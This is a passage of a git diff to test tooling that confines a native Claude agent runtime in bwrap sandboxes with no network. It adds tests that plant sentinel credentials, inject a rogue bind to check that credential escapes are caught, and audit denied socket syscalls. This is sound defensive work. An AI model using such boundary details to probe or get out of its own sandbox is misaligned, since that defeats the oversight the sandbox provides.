=== "/" && workerArgv[i + 2] === "/") workerArgv.splice(i--, 3); - else if (workerArgv[i] === "--ro-bind" && ["/etc/alternatives", "/etc/resolv.conf", "/etc/ssl/certs"].includes(workerArgv[i + 2]!)) workerArgv.splice(i--, 3); + else if (workerArgv[i] === "--ro-bind" && ["/etc/alternatives", "/etc/ssl/certs"].includes(workerArgv[i + 2]!)) workerArgv.splice(i--, 3); else if (workerArgv[i] === "--setenv" && !WORKER_RUNTIME_ENV.has(workerArgv[i + 1]!)) workerArgv.splice(i--, 3); } workerArgv.splice(bwrap + 1, 0, "--clearenv", "--unshare-net", "--unshare-pid"); @@ -1037,9 +1073,9 @@ export function nativeWorkerBoundary(env: Record): { launch.argv = audited.argv; } const encoded=JSON.stringify(launch); - console.error(JSON.stringify({kind:"native-offline-worker-plan",head:nativeTestHead(), + nativeReceipt({kind:"native-offline-worker-plan",head:nativeTestHead(), bootstrapArgc:launch.argv!.length,bootstrapArgvBytes:Buffer.byteLength(JSON.stringify(launch.argv)), - sandboxArgc:workerArgv.length,sandboxArgvBytes:Buffer.byteLength(JSON.stringify(workerArgv)),metadataBytes:Buffer.byteLength(encoded)})); + sandboxArgc:workerArgv.length,sandboxArgvBytes:Buffer.byteLength(JSON.stringify(workerArgv)),metadataBytes:Buffer.byteLength(encoded)}); return { env: { ...env, BRAIN_WORKER_LAUNCH: encoded }, dispose: audited.dispose, beforeLaunch }; } catch (error) { bridge.dispose(); throw error; } } diff --git a/scripts/test-network-guard.ts b/scripts/test-network-guard.ts index 8f71ec7038..2a2af294b1 100644 --- a/scripts/test-network-guard.ts +++ b/scripts/test-network-guard.ts @@ -1,5 +1,6 @@ +import { inheritNativeReceipts, withoutNativeReceipts, nativeReceipt, flushNativeReceipts } from "./native-test-receipts.ts"; /** Test-only subprocess and transport safeguards; never imported by a published package. */ -import { recordNativeGuardChild, guardNativeHttpListen, guardNativeHttpEvent, guardNativeRelayServer, assertNativeRelayDestination, assertNativeRelaySocket, assertNativeRelayUnix, assertNoNativeRefusals, nativeIsolationFailed, nativeTestHead, isNativeClaude, nativeClaudeBoundary, nativeWorkerBoundary, refuseNativeClaude } from "./test-native-guard"; +import { recordNativeGuardChild, isGuardedNativePlan, guardNativeHttpListen, guardNativeHttpEvent, guardNativeRelayServer, assertNativeRelayDestination, assertNativeRelaySocket, assertNativeRelayUnix, assertNoNativeRefusals, nativeIsolationFailed, nativeTestHead, isNativeClaude, nativeClaudeBoundary, nativeWorkerBoundary, refuseNativeClaude } from "./test-native-guard"; import { basename, join } from "node:path"; import { Server as HttpServer } from "node:http"; import { isIP, Socket } from "node:net"; @@ -183,14 +184,19 @@ export function installNetworkGuard(): { assertNoEscapes(): void } { const workerBoundary = boundary ? undefined : nativeWorkerBoundary(testGitEnvironment({ ...options.env ?? process.env, ...(options.env?.BRAIN_NATIVE_TEST_HEAD === undefined ? { BRAIN_NATIVE_TEST_HEAD: nativeTestHead() } : {}), ...(options.env?.GITHUB_ACTIONS === undefined && process.env.GITHUB_ACTIONS === "true" ? { GITHUB_ACTIONS: "true", RUNNER_ENVIRONMENT: options.env?.RUNNER_ENVIRONMENT ?? process.env.RUNNER_ENVIRONMENT } : {}) })); - const inherited = inheritWorkspaceLease({ ...options, env: boundary?.env ?? workerBoundary!.env }, defaultStderr, pipeOnly); + let inherited = inheritWorkspaceLease({ ...options, env: boundary?.env ?? workerBoundary!.env }, defaultStderr, pipeOnly); + if(!boundary&&!pipeOnly&&!isGuardedNativePlan(cmd)){ + const actual=Array.isArray(args[0])?args[0] as string[]:(args[0] as {cmd:string[]}).cmd; + const channel=inheritNativeReceipts(inherited,actual,defaultStderr);inherited=channel.options; + args[0]=Array.isArray(first)?channel.argv:{...args[0] as object,cmd:channel.argv}; + }else inherited=withoutNativeReceipts(inherited); if (Array.isArray(first)) args[1] = inherited; else args[0] = { ...inherited, cmd: (args[0] as { cmd: string[] }).cmd }; try { boundary?.beforeLaunch(); workerBoundary?.beforeLaunch(); const result = Reflect.apply(native, Bun, args); - if (key === "spawn") { recordNativeGuardChild(result); void result.exited.finally(() => { boundary?.dispose(); workerBoundary?.dispose(); }); } - else workerBoundary?.dispose(); + if (key === "spawn") { recordNativeGuardChild(result,pipeOnly&&Boolean(options.env?.BRAIN_WORKER_LAUNCH)); void result.exited.finally(() => { boundary?.dispose(); workerBoundary?.dispose();flushNativeReceipts(); }); } + else {workerBoundary?.dispose();flushNativeReceipts();} return result; } catch (error) { boundary?.dispose(); workerBoundary?.dispose(); throw error; } }) as typeof Bun.spawn & typeof Bun.spawnSync; @@ -209,7 +215,7 @@ export function installNetworkGuard(): { assertNoEscapes(): void } { // followed by process.exit(0), must still make that process unsuccessful. process.on("exit", () => { if (escapes.length || nativeIsolationFailed()) { - console.error(escapes.length ? message() : "Offline test guard: native isolation failed; see native-offline-* receipts"); + if(escapes.length)console.error(message());else nativeReceipt({kind:"native-offline-invocation-failed",head:nativeTestHead(),success:false,reason:"native isolation failed; see native-offline-* receipts"}); process.exit(1); } }); diff --git a/tests/helpers/native-launcher-inventory.ts b/tests/helpers/native-launcher-inventory.ts index 4fad9ad4ba..833ad21191 100644 --- a/tests/helpers/native-launcher-inventory.ts +++ b/tests/helpers/native-launcher-inventory.ts @@ -3,33 +3,46 @@ import ts from "typescript"; import { readFileSync } from "node:fs"; import { join } from "node:path"; export function nativeSdkLauncher(source: ts.SourceFile): boolean { - const queries=new Set(),backends=new Set(["createClaudeBackend"]);let launches=false; - function bindings(node:ts.Node):void { - if(ts.isImportDeclaration(node)){ + const apiNames=new Set(["query","prewarm"]),bindings=new Set(),backends=new Set(["createClaudeBackend"]); + let launches=false; + function collect(node:ts.Node):void { + if(ts.isImportDeclaration(node)&&!node.importClause?.isTypeOnly){ const names=node.importClause?.namedBindings; if(names&&ts.isNamedImports(names))for(const item of names.elements)if(!item.isTypeOnly&&(item.propertyName??item.name).text==="createClaudeBackend")backends.add(item.name.text); + if(ts.isStringLiteral(node.moduleSpecifier)&&node.moduleSpecifier.text==="@anthropic-ai/claude-agent-sdk"){ + if(names&&ts.isNamedImports(names))for(const item of names.elements)if(!item.isTypeOnly&&apiNames.has((item.propertyName??item.name).text))bindings.add(item.name.text); + const namespace=names&&ts.isNamespaceImport(names)?names.name.text:node.importClause?.name?.text; + if(namespace)for(const api of apiNames)bindings.add(`${namespace}.${api}`); + } } - if(ts.isImportDeclaration(node)&&ts.isStringLiteral(node.moduleSpecifier)&&node.moduleSpecifier.text==="@anthropic-ai/claude-agent-sdk"&&!node.importClause?.isTypeOnly){ - const names=node.importClause?.namedBindings; - if(names&&ts.isNamespaceImport(names))queries.add(`${names.name.text}.query`); - if(node.importClause?.name)queries.add(`${node.importClause.name.text}.query`); - if(names&&ts.isNamedImports(names))for(const item of names.elements)if(!item.isTypeOnly&&(item.propertyName??item.name).text==="query")queries.add(item.name.text); + if(ts.isVariableDeclaration(node)&&node.initializer&&/await import\(/.test(node.initializer.getText(source))&&source.text.includes("@anthropic-ai/claude-agent-sdk")){ + if(ts.isObjectBindingPattern(node.name))for(const item of node.name.elements)if(apiNames.has((item.propertyName??item.name).getText(source)))bindings.add(item.name.getText(source)); + if(ts.isIdentifier(node.name))for(const api of apiNames)bindings.add(`${node.name.text}.${api}`); } - if(ts.isVariableDeclaration(node)&&ts.isObjectBindingPattern(node.name)&&node.initializer&&/await import\(/.test(node.initializer.getText(source))&&source.text.includes("@anthropic-ai/claude-agent-sdk")){ - for(const item of node.name.elements)if((item.propertyName??item.name).getText(source)==="query")queries.add(item.name.getText(source)); + ts.forEachChild(node,collect); + }collect(source); + function typeOrDeclaration(node:ts.Node):boolean { + for(let parent=node.parent;parent;parent=parent.parent){ + if(ts.isTypeNode(parent)||ts.isImportDeclaration(parent))return true; + if(ts.isExpression(parent)||ts.isStatement(parent))break; } - if(ts.isVariableDeclaration(node)&&ts.isIdentifier(node.name)&&node.initializer&&/await import\(/.test(node.initializer.getText(source))&&source.text.includes("@anthropic-ai/claude-agent-sdk"))queries.add(`${node.name.text}.query`); - ts.forEachChild(node,bindings); - }bindings(source); + const parent=node.parent; + return Boolean(parent&&((ts.isVariableDeclaration(parent)||ts.isParameter(parent)||ts.isBindingElement(parent))&&parent.name===node|| + ts.isPropertyAssignment(parent)&&parent.name===node||ts.isPropertyAccessExpression(parent)&&parent.name===node)); + } + function name(node:ts.Node):string { + if(ts.isElementAccessExpression(node)&&ts.isStringLiteral(node.argumentExpression))return `${node.expression.getText(source)}.${node.argumentExpression.text}`; + return node.getText(source); + } function visit(node:ts.Node):void { - if(ts.isCallExpression(node)){ - let name=node.expression.getText(source); - if(ts.isElementAccessExpression(node.expression)&&node.expression.argumentExpression&&ts.isStringLiteral(node.expression.argumentExpression))name=`${node.expression.expression.getText(source)}.${node.expression.argumentExpression.text}`; - if(queries.has(name))launches=true; - if((backends.has(name)||name.endsWith(".createClaudeBackend"))&&source.text.includes(".startTurn(")&&!/mockWorkerHostForSdkStream|mock\.module|mock\.method|queryFn|claudeCodePath/.test(source.text)){ - const config=node.arguments[0]; - if(config&&ts.isObjectLiteralExpression(config)&&!config.properties.some(prop=>(ts.isPropertyAssignment(prop)||ts.isShorthandPropertyAssignment(prop))&&prop.name.getText(source)==="queryFn"))launches=true; - } + // Passing the API to a dispatcher or default parameter can launch just as + // calling it here can. Import/binding names and type references cannot. + if((ts.isIdentifier(node)||ts.isPropertyAccessExpression(node)||ts.isElementAccessExpression(node))&&bindings.has(name(node))&&!typeOrDeclaration(node))launches=true; + if(ts.isCallExpression(node)&&(backends.has(name(node.expression))||name(node.expression).endsWith(".createClaudeBackend"))){ + let config=node.arguments[0]; + while(config&&(ts.isAsExpression(config)||ts.isSatisfiesExpression(config)||ts.isParenthesizedExpression(config)))config=config.expression; + const injected=config&&ts.isObjectLiteralExpression(config)&&config.properties.some(prop=>(ts.isPropertyAssignment(prop)||ts.isShorthandPropertyAssignment(prop))&&prop.name.getText(source)==="queryFn"); + if(!injected)launches=true; } ts.forEachChild(node,visit); }visit(source);return launches; diff --git a/tests/helpers/native-receipt-fixture.ts b/tests/helpers/native-receipt-fixture.ts new file mode 100644 index 0000000000..0bfcf9d088 --- /dev/null +++ b/tests/helpers/native-receipt-fixture.ts @@ -0,0 +1,9 @@ +/** Explicit private receipt capture for guard unit fixtures, separate from stderr. */ +import { captureNativeReceipts } from "../../scripts/native-test-receipts"; +export function spawnGuardFixture(argv:string[],options:Record={}) { + const capture=captureNativeReceipts(); + let child:Bun.Subprocess<"ignore","pipe","pipe">; + try{child=Bun.spawn(argv,{...options,stdin:options.stdin??"ignore",stdout:"pipe",stderr:"pipe",env:{...(options.env??process.env),...capture.env}});}catch(error){capture.dispose();throw error;} + let reading:Promise|undefined; + return Object.assign(child,{guardOutput(){return reading??=Promise.all([new Response(child.stderr).text(),child.exited]).then(([text])=>text+capture.read()).finally(()=>capture.dispose());}}); +} diff --git a/tests/helpers/test-invocation-fixture.ts b/tests/helpers/test-invocation-fixture.ts index cd8b754dc7..05cfa9eb3b 100644 --- a/tests/helpers/test-invocation-fixture.ts +++ b/tests/helpers/test-invocation-fixture.ts @@ -10,7 +10,7 @@ export function invocationFixture(parent = tmpdir()) { write("bun.lock", "{}\n"); write(".gitignore", "node_modules/\npackages/*/dist/\ntmp/\n"); write("tsconfig.json", JSON.stringify({ compilerOptions: { target: "ES2019", module: "ESNext", moduleResolution: "Bundler", types: [], skipLibCheck: true } })); - for (const file of ["build.ts", "clean.ts", "build-execution.ts", "build-receipt.ts", "build-repeat-observation.ts", "bin-modes.ts", "publishable-packages.ts", "workspace-lease.mjs", "host-admission.mjs", "test.ts", "test-shards.ts", "test-shard-costs.json", "test-invocation.ts", "test-invocation-child.ts", "runtime-test-builds.ts", "test-network-preload.ts", "test-home.ts", "test-network-guard.ts", "test-native-guard.ts", "test-network-child-preload.ts", "unit-worker-entry.sh"]) { + for (const file of ["build.ts", "clean.ts", "build-execution.ts", "build-receipt.ts", "build-repeat-observation.ts", "bin-modes.ts", "publishable-packages.ts", "workspace-lease.mjs", "host-admission.mjs", "test.ts", "test-shards.ts", "test-shard-costs.json", "test-invocation.ts", "test-invocation-child.ts", "runtime-test-builds.ts", "test-network-preload.ts", "test-home.ts", "test-network-guard.ts", "test-native-guard.ts", "native-test-receipts.ts", "test-network-child-preload.ts", "unit-worker-entry.sh"]) { write(`scripts/${file}`, readFileSync(join(source, "scripts", file), "utf8")); } for (const file of ["packages/core/tests/cli-harness.ts", "packages/ui-react/tests/fixtures/runtime-package-build.ts", "packages/ui-react/tests/fixtures/runtime-hook-phases.ts"]) write(file, readFileSync(join(source, file), "utf8")); diff --git a/tests/local-checks.test.ts b/tests/local-checks.test.ts index eee70f0246..679adf4e37 100644 --- a/tests/local-checks.test.ts +++ b/tests/local-checks.test.ts @@ -423,7 +423,7 @@ function importFixture() { const dir = fixture(); const root = join(import.meta.dir, ".."); mkdirSync(join(dir, "scripts")); - for (const helper of ["test.ts", "runtime-test-builds.ts", "test-invocation.ts", "test-invocation-child.ts", "publishable-packages.ts", "test-shards.ts", "test-shard-costs.json", "test-network-preload.ts", "test-home.ts", "test-network-guard.ts", "test-native-guard.ts", "test-network-child-preload.ts", "workspace-lease.mjs", "host-admission.mjs"]) { + for (const helper of ["test.ts", "runtime-test-builds.ts", "test-invocation.ts", "test-invocation-child.ts", "publishable-packages.ts", "test-shards.ts", "test-shard-costs.json", "test-network-preload.ts", "test-home.ts", "test-network-guard.ts", "test-native-guard.ts", "native-test-receipts.ts", "test-network-child-preload.ts", "workspace-lease.mjs", "host-admission.mjs"]) { cpSync(join(root, "scripts", helper), join(dir, "scripts", helper)); } mkdirSync(join(dir, "packages/core/tests"), { recursive: true }); diff --git a/tests/measurement-rtk-fixture.test.ts b/tests/measurement-rtk-fixture.test.ts index 4dd230b56c..629db533be 100644 --- a/tests/measurement-rtk-fixture.test.ts +++ b/tests/measurement-rtk-fixture.test.ts @@ -1,3 +1,4 @@ +import { spawnGuardFixture } from "./helpers/native-receipt-fixture"; /** Plan and harmless re-entry only: no namespace or installed native runtime executes. */ import { expect, test } from "bun:test"; import { mkdtempSync, readFileSync, rmSync, writeFileSync } from "node:fs"; @@ -15,8 +16,8 @@ for(const mode of ["hosted","local","self-hosted"] as const) test(`cleared-env R Bun.spawnSync=(()=>({exitCode:0,stdout:Buffer.alloc(0),stderr:Buffer.alloc(0)})); Bun.spawn=((argv,options)=>{writeFileSync(${JSON.stringify(planFile)},JSON.stringify({argv,env:options.env}));return {exited:Promise.resolve(0)};}); await enterMeasurementRtkView();`); - const child=Bun.spawn([process.execPath,parent],{env:{PATH:"/usr/bin:/bin",HOME:scratch,GITHUB_ACTIONS:mode==="local"?"false":"true",RUNNER_ENVIRONMENT:mode==="hosted"?"github-hosted":mode},stdout:"pipe",stderr:"pipe"}); - const [code,errors]=await Promise.all([child.exited,new Response(child.stderr).text()]);expect(code,errors).toBe(0); + const child=spawnGuardFixture([process.execPath,parent],{env:{PATH:"/usr/bin:/bin",HOME:scratch,GITHUB_ACTIONS:mode==="local"?"false":"true",RUNNER_ENVIRONMENT:mode==="hosted"?"github-hosted":mode},stdout:"pipe",stderr:"pipe"}); + const [code,errors]=await Promise.all([child.exited,child.guardOutput()]);expect(code,errors).toBe(0); const plan=JSON.parse(readFileSync(planFile,"utf8")) as {argv:string[];env:Record}; expect(plan.env).toEqual({}); let env:Record={}; @@ -32,8 +33,8 @@ for(const mode of ["hosted","local","self-hosted"] as const) test(`cleared-env R writeFileSync(inner,`import {nativeClaudeBoundary} from ${JSON.stringify(join(ROOT,"scripts/test-native-guard.ts"))}; Bun.spawnSync=((argv)=>{if(argv[0]!=="bwrap")throw Error("unexpected qualification command");console.error("NAMESPACE_QUALIFIER_REACHED");return {exitCode:1,stdout:Buffer.alloc(0),stderr:Buffer.alloc(0)};}); try{nativeClaudeBoundary("/usr/bin/true",[],{});}catch{}process.exit(0);`); - const reentry=Bun.spawn([process.execPath,inner],{env,stdout:"pipe",stderr:"pipe"}); - const [status,receipt]=await Promise.all([reentry.exited,new Response(reentry.stderr).text()]); + const reentry=spawnGuardFixture([process.execPath,inner],{env,stdout:"pipe",stderr:"pipe"}); + const [status,receipt]=await Promise.all([reentry.exited,reentry.guardOutput()]); expect(status).not.toBe(0);expect(receipt).toContain('"nativeLaunched":false'); if(mode==="hosted") { expect(receipt).toContain("NAMESPACE_QUALIFIER_REACHED");expect(receipt).toContain("OS namespace setup failed"); @@ -54,8 +55,8 @@ test("RTK plan carries the outer compiled policy read-only without compiler moun Bun.spawn=((argv)=>{const target=argv.indexOf("/usr/local/bin/brain-native-connect"),source=argv[target-1]; writeFileSync(${JSON.stringify(file)},JSON.stringify({argv,source,digest:createHash("sha256").update(readFileSync(source)).digest("hex")}));return {exited:Promise.resolve(0)};}); await enterMeasurementRtkView();`); - const child=Bun.spawn([process.execPath,script],{stdout:"pipe",stderr:"pipe"}); - const [code,errors]=await Promise.all([child.exited,new Response(child.stderr).text()]);expect(code,errors).toBe(0); + const child=spawnGuardFixture([process.execPath,script],{stdout:"pipe",stderr:"pipe"}); + const [code,errors]=await Promise.all([child.exited,child.guardOutput()]);expect(code,errors).toBe(0); const {argv,source,digest}=JSON.parse(readFileSync(file,"utf8")); expect(source).toMatch(/odysseus-native-policy-[^/]+\/native-connect$/); const at=argv.indexOf("/usr/local/bin/brain-native-connect");expect(argv.slice(at-2,at+1)).toEqual(["--ro-bind",source,"/usr/local/bin/brain-native-connect"]); diff --git a/tests/native-offline-boundary.test.ts b/tests/native-offline-boundary.test.ts index b8a729c0f2..99be8351f4 100644 --- a/tests/native-offline-boundary.test.ts +++ b/tests/native-offline-boundary.test.ts @@ -1,3 +1,4 @@ +import { spawnGuardFixture } from "./helpers/native-receipt-fixture"; /** Local tests never execute the installed native runtime, including mutations. */ import { expect, test } from "bun:test"; import { watchdogMs } from "../scripts/test-deadlines"; @@ -13,8 +14,8 @@ if (!runtime) throw new Error("Native boundary proof requires the installed SDK async function probe(script: string, home: string) { const path = join(home, "probe.ts"); writeFileSync(path, script); - const child = Bun.spawn([process.execPath, "--no-install", path], { env: { PATH: "/usr/bin:/bin", HOME: home }, stdout: "pipe", stderr: "pipe" }); - const [code, output] = await Promise.all([child.exited, new Response(child.stderr).text()]); + const child = spawnGuardFixture([process.execPath, "--no-install", path], { env: { PATH: "/usr/bin:/bin", HOME: home }, stdout: "pipe", stderr: "pipe" }); + const [code, output] = await Promise.all([child.exited, child.guardOutput()]); return { code, output }; } const imports = `import {installNetworkGuard} from ${JSON.stringify(join(ROOT, "scripts/test-network-guard.ts"))}; @@ -584,6 +585,7 @@ test("workspace SDK discovery works without root resolution and fails closed for writeFileSync(join(scratch, "package.json"), JSON.stringify({ private: true })); writeFileSync(join(scratch, "packages/native/package.json"), JSON.stringify({ name: "odysseus-native", dependencies: { "@anthropic-ai/claude-agent-sdk": "*" } })); copyFileSync(join(ROOT, "scripts/test-native-guard.ts"), join(scratch, "scripts/test-native-guard.ts")); + copyFileSync(join(ROOT,"scripts/native-test-receipts.ts"),join(scratch,"scripts/native-test-receipts.ts")); const link = join(scratch, "packages/native/node_modules/@anthropic-ai/claude-agent-sdk"); symlinkSync(dirname(sdk), link); const module = join(scratch, "scripts/test-native-guard.ts"); @@ -792,8 +794,8 @@ print('HOSTILE_MANAGED_BOUNDARY_HELD',flush=True) let lateConnections=0; try { boundary = nativeClaudeBoundary(executable, [], { cwd: brain, env: { HOME: home, PATH: bin, USE_BUILTIN_RIPGREP: "0", ANTHROPIC_BASE_URL: service.url.origin }, managedSettings: managed }); - const child = Bun.spawn(boundary.argv, { env: boundary.env, stdout: "pipe", stderr: "pipe" }); - const output=Promise.all([child.exited,new Response(child.stdout).text(),new Response(child.stderr).text()]); + const child = spawnGuardFixture(boundary.argv, { env: boundary.env, stdout: "pipe", stderr: "pipe" }); + const output=Promise.all([child.exited,new Response(child.stdout).text(),child.guardOutput()]); const deadline=Date.now()+10000; while(!existsSync(join(home,"boundary-ready"))&&child.exitCode===null&&Date.now()(resolve=>lateServer!.close(()=>resolve()));lateServer=undefined; rmSync(join(home,"late-host.sock"),{force:true}); @@ -817,9 +819,9 @@ print('HOSTILE_MANAGED_BOUNDARY_HELD',flush=True) const mutationBoundary = nativeClaudeBoundary(executable, [], { cwd: brain, env: { HOME: home, PATH: bin, USE_BUILTIN_RIPGREP: "0", ANTHROPIC_BASE_URL: service.url.origin }, managedSettings: managed }); const mutant = [...mutationBoundary.argv]; mutant.splice(mutant.indexOf("--clearenv"), 0, "--ro-bind", sentinel, sentinel); - const broken = Bun.spawn(mutant, { env: boundary.env, stdout: "pipe", stderr: "pipe" }); + const broken = spawnGuardFixture(mutant, { env: boundary.env, stdout: "pipe", stderr: "pipe" }); const [brokenCode, brokenOut, brokenErr] = await Promise.all([broken.exited, - new Response(broken.stdout).text(), new Response(broken.stderr).text()]); + new Response(broken.stdout).text(), broken.guardOutput()]); expect(brokenCode).not.toBe(0); expect(brokenErr).toContain("outside credential escaped"); expect(brokenOut + brokenErr).not.toContain("odysseus-synthetic-credential"); @@ -1032,8 +1034,8 @@ test("a refused worker spawn rejects and closes the failed invocation promptly", writeFileSync(script,`${imports} await Promise.resolve().then(()=>Bun.spawn([${JSON.stringify(wrapper)},${JSON.stringify(runtime)}],{env:{BRAIN_WORKER_LAUNCH:JSON.stringify({command:[${JSON.stringify(wrapper)},${JSON.stringify(runtime)}],argv:["bwrap","--",${JSON.stringify(wrapper)},${JSON.stringify(runtime)}]})}})).catch(()=>console.error("SPAWN_PROMISE_REJECTED")); setInterval(()=>{},1000);`); - const child=Bun.spawn([process.execPath,script],{env:{PATH:"/usr/bin:/bin",HOME:scratch},stdout:"pipe",stderr:"pipe",signal:AbortSignal.timeout(watchdogMs(5000))}); - const [code,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),new Response(child.stderr).text()]); + const child=spawnGuardFixture([process.execPath,script],{env:{PATH:"/usr/bin:/bin",HOME:scratch},stdout:"pipe",stderr:"pipe",signal:AbortSignal.timeout(watchdogMs(5000))}); + const [code,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),child.guardOutput()]); expect(code,err).toBe(1);expect(out).toBe("");expect(err.split("\n")).toContain("SPAWN_PROMISE_REJECTED"); expect(err).toContain('"nativeLaunched":false');expect(err).not.toContain("attempted real network access");expect(err).toContain("native isolation failed; see native-offline-* receipts");expect(existsSync(marker)).toBe(false); }finally{rmSync(scratch,{recursive:true,force:true});} @@ -1075,3 +1077,66 @@ test("keeper output root requires a guarded child namespace and pinned fixture h expect(result.output.split("\n")).toContain('{"keeperRoot":"missing-mount-refused"}');expect(result.output.split("\n")).toContain('{"keeperRoot":"admitted"}');expect(result.output.split("\n")).toContain('{"keeperRoot":"unregistered-refused"}');expect(result.output.split("\n")).toContain('{"keeperRoot":"escape-refused"}');expect(result.code).toBe(1); }finally{rmSync(scratch,{recursive:true,force:true});rmSync(keeperRoot,{recursive:true,force:true});rmSync(outside,{recursive:true,force:true});} }); + +test("worker plans stage only their canonical read-only resolver with synthetic bytes",async()=>{ + for(const mode of ["canonical","unregistered","writable"] as const){ + const scratch=mkdtempSync(join(tmpdir(),"odysseus-resolver-plan-")); + try{ + const resolver=join(scratch,"resolver"),other=join(scratch,"other"); + writeFileSync(resolver,"SIRENS_PRIVATE_DNS_MUST_NOT_COPY");writeFileSync(other,"OUTSIDE_CREDENTIAL_SENTINEL"); + const result=await probe(`import * as fs from "node:fs";import {mock} from "bun:test"; + const original={...fs}; + mock.module("node:fs",()=>({...original,realpathSync:(path,...args)=>path==="/etc/resolv.conf"?${JSON.stringify(resolver)}:original.realpathSync(path,...args),readFileSync:(path,...args)=>{if(path===${JSON.stringify(resolver)})throw Error("HOST_RESOLVER_BYTES_READ");return original.readFileSync(path,...args);}})); + const guard=await import(${JSON.stringify(join(ROOT,"scripts/test-native-guard.ts"))}); + const spawnSync=Bun.spawnSync,which=Bun.which; + Bun.which=((name,options)=>name==="strace"?"/synthetic/strace":which(name,options)); + Bun.spawnSync=((argv,options)=>(["bwrap","strace"].includes(argv[0])||argv[0]?.endsWith("/native-connect"))?{exitCode:0,stdout:Buffer.alloc(0),stderr:Buffer.alloc(0)}:Reflect.apply(spawnSync,Bun,[argv,options])); + process.env.GITHUB_ACTIONS="true";process.env.RUNNER_ENVIRONMENT="github-hosted"; + guard.nativeScriptedService("http://127.0.0.1:1",{fixtureRoots:[]}); + const plan=guard.nativeWorkerBoundary({BRAIN_WORKER_LAUNCH:JSON.stringify({command:[${JSON.stringify(runtime)}],argv:["bwrap",${JSON.stringify(mode==="writable"?"--bind":"--ro-bind")},${JSON.stringify(mode==="unregistered"?other:resolver)},"/etc/resolv.conf","--",${JSON.stringify(runtime)}]})}); + try{plan.beforeLaunch();const argv=JSON.parse(plan.env.BRAIN_WORKER_LAUNCH).argv; + const at=argv.indexOf("/etc/resolv.conf"),copy=argv[at-1]; + if(copy===${JSON.stringify(resolver)}||original.readFileSync(copy,"utf8")!=="nameserver 127.0.0.1\\noptions attempts:1 timeout:1\\n"||(original.statSync(copy).mode&0o777)!==0o444)throw Error("RESOLVER_PLAN_NOT_SYNTHETIC_READONLY"); + fs.writeFileSync(argv[argv.indexOf("-o")+1],${JSON.stringify(`1 execve(${JSON.stringify(runtime)}, [], 0x1) = 0`)});console.error("RESOLVER_PLAN_SYNTHETIC"); + }finally{plan.dispose();}`,scratch); + expect(result.output).not.toContain("HOST_RESOLVER_BYTES_READ"); + if(mode==="canonical"){expect(result.code,result.output).toBe(0);expect(result.output.split("\n")).toContain("RESOLVER_PLAN_SYNTHETIC");} + else{expect(result.code).not.toBe(0);expect(result.output).toContain(mode==="writable"?"native resolver bind must be read-only":"worker bind was not created or staged by the fixture");} + }finally{rmSync(scratch,{recursive:true,force:true});} + } +}); + + +test("socket denial audit records raw syscalls without trusting stderr or syscall-looking data",async()=>{ + const {deniedNativeSocketOperations}=await import("../scripts/test-native-guard"); + expect(deniedNativeSocketOperations('42 connect(0x3, 0x123, 0x20) = -1 EPERM\n42 sendmsg(0x3, 0x456, 0x0) = -1 EPERM\n42 <... bind resumed>) = -1 EACCES\n42 openat(3, "connect(3) = -1 EPERM", 0) = -1 ENOENT\n42 execve("sendto(3) = -1 EPERM", [], 0) = 0\nchild claimed connect(3) = -1 EPERM')).toBe(3); +}); + +test("runtime provenance rechecks walk entries without re-attesting fixtures for every runtime file",async()=>{ + const scratch=mkdtempSync(join(tmpdir(),"odysseus-provenance-cost-")); + try{ + const result=await probe(`import * as fs from "node:fs";import {mock} from "bun:test"; + const ROOT=${JSON.stringify(ROOT)},backend=ROOT+"/packages/ui-backend-claude";let stamp="",stampChecks=0,runtimeFiles=0,backendTraversals=0; + const original={...fs};mock.module("node:fs",()=>({...original, + lstatSync:(path,...args)=>{const info=original.lstatSync(path,...args);if(path===stamp)stampChecks++;if(info.isFile()&&(String(path).startsWith(ROOT+"/packages/")||String(path).startsWith(ROOT+"/node_modules/")))runtimeFiles++;return info;}, + readdirSync:(path,...args)=>{if(path===backend)backendTraversals++;return original.readdirSync(path,...args);} + })); + const guard=await import(${JSON.stringify(join(ROOT,"scripts/test-native-guard.ts"))}); + const spawnSync=Bun.spawnSync,which=Bun.which;Bun.which=((name,options)=>name==="strace"?"/synthetic/strace":which(name,options)); + Bun.spawnSync=((argv,options)=>(["bwrap","strace"].includes(argv[0])||argv[0]?.endsWith("/native-connect"))?{exitCode:0,stdout:Buffer.alloc(0),stderr:Buffer.alloc(0)}:Reflect.apply(spawnSync,Bun,[argv,options])); + process.env.GITHUB_ACTIONS="true";process.env.RUNNER_ENVIRONMENT="github-hosted"; + stamp=guard.nativeFixtureDirectory("odysseus-attestation-count-");guard.nativeScriptedService("http://127.0.0.1:1",{fixtureRoots:[]}); + let plan;try{ + plan=guard.nativeWorkerBoundary({BRAIN_WORKER_LAUNCH:JSON.stringify({command:[${JSON.stringify(runtime)}],argv:["bwrap","--ro-bind",backend,"/tmp/odysseus-runtime-alias","--",${JSON.stringify(runtime)}]})}); + const initial=backendTraversals;plan.beforeLaunch(); + const argv=JSON.parse(plan.env.BRAIN_WORKER_LAUNCH).argv;fs.writeFileSync(argv[argv.indexOf("-o")+1],${JSON.stringify(`1 execve(${JSON.stringify(runtime)}, [], 0x1) = 0`)}); + console.error(JSON.stringify({runtimeProvenanceCost:{stampChecks,runtimeFiles,backendTraversals,initial}})); + }finally{plan?.dispose();fs.rmSync(stamp,{recursive:true,force:true});}`,scratch); + expect(result.code,result.output).toBe(0); + const cost=JSON.parse(result.output.split("\n").find(line=>line.startsWith('{"runtimeProvenanceCost":'))!).runtimeProvenanceCost; + expect(cost.runtimeFiles,"RUNTIME_TREE_WAS_WALKED").toBeGreaterThan(100); + expect(cost.stampChecks,"FIXTURE_ATTESTATIONS_ARE_NOT_PER_RUNTIME_FILE").toBeLessThan(cost.runtimeFiles/5); + expect(cost.backendTraversals,"OVERLAPPING_MOUNTS_WALKED_ONCE_PER_VALIDATION").toBeLessThanOrEqual(4); + expect(cost.backendTraversals,"BEFORE_LAUNCH_RECHECK_IS_FRESH").toBeGreaterThan(cost.initial); + }finally{rmSync(scratch,{recursive:true,force:true});} +}); diff --git a/tests/native-policy-artifact.test.ts b/tests/native-policy-artifact.test.ts index 20a76d4b88..57ee81755d 100644 --- a/tests/native-policy-artifact.test.ts +++ b/tests/native-policy-artifact.test.ts @@ -1,3 +1,4 @@ +import { spawnGuardFixture } from "./helpers/native-receipt-fixture"; /** Synthetic compiler outcomes only: no installed native runtime executes. */ import { expect, test } from "bun:test"; import { copyFileSync, mkdirSync, mkdtempSync, rmSync, writeFileSync } from "node:fs"; @@ -13,8 +14,8 @@ for(const kind of 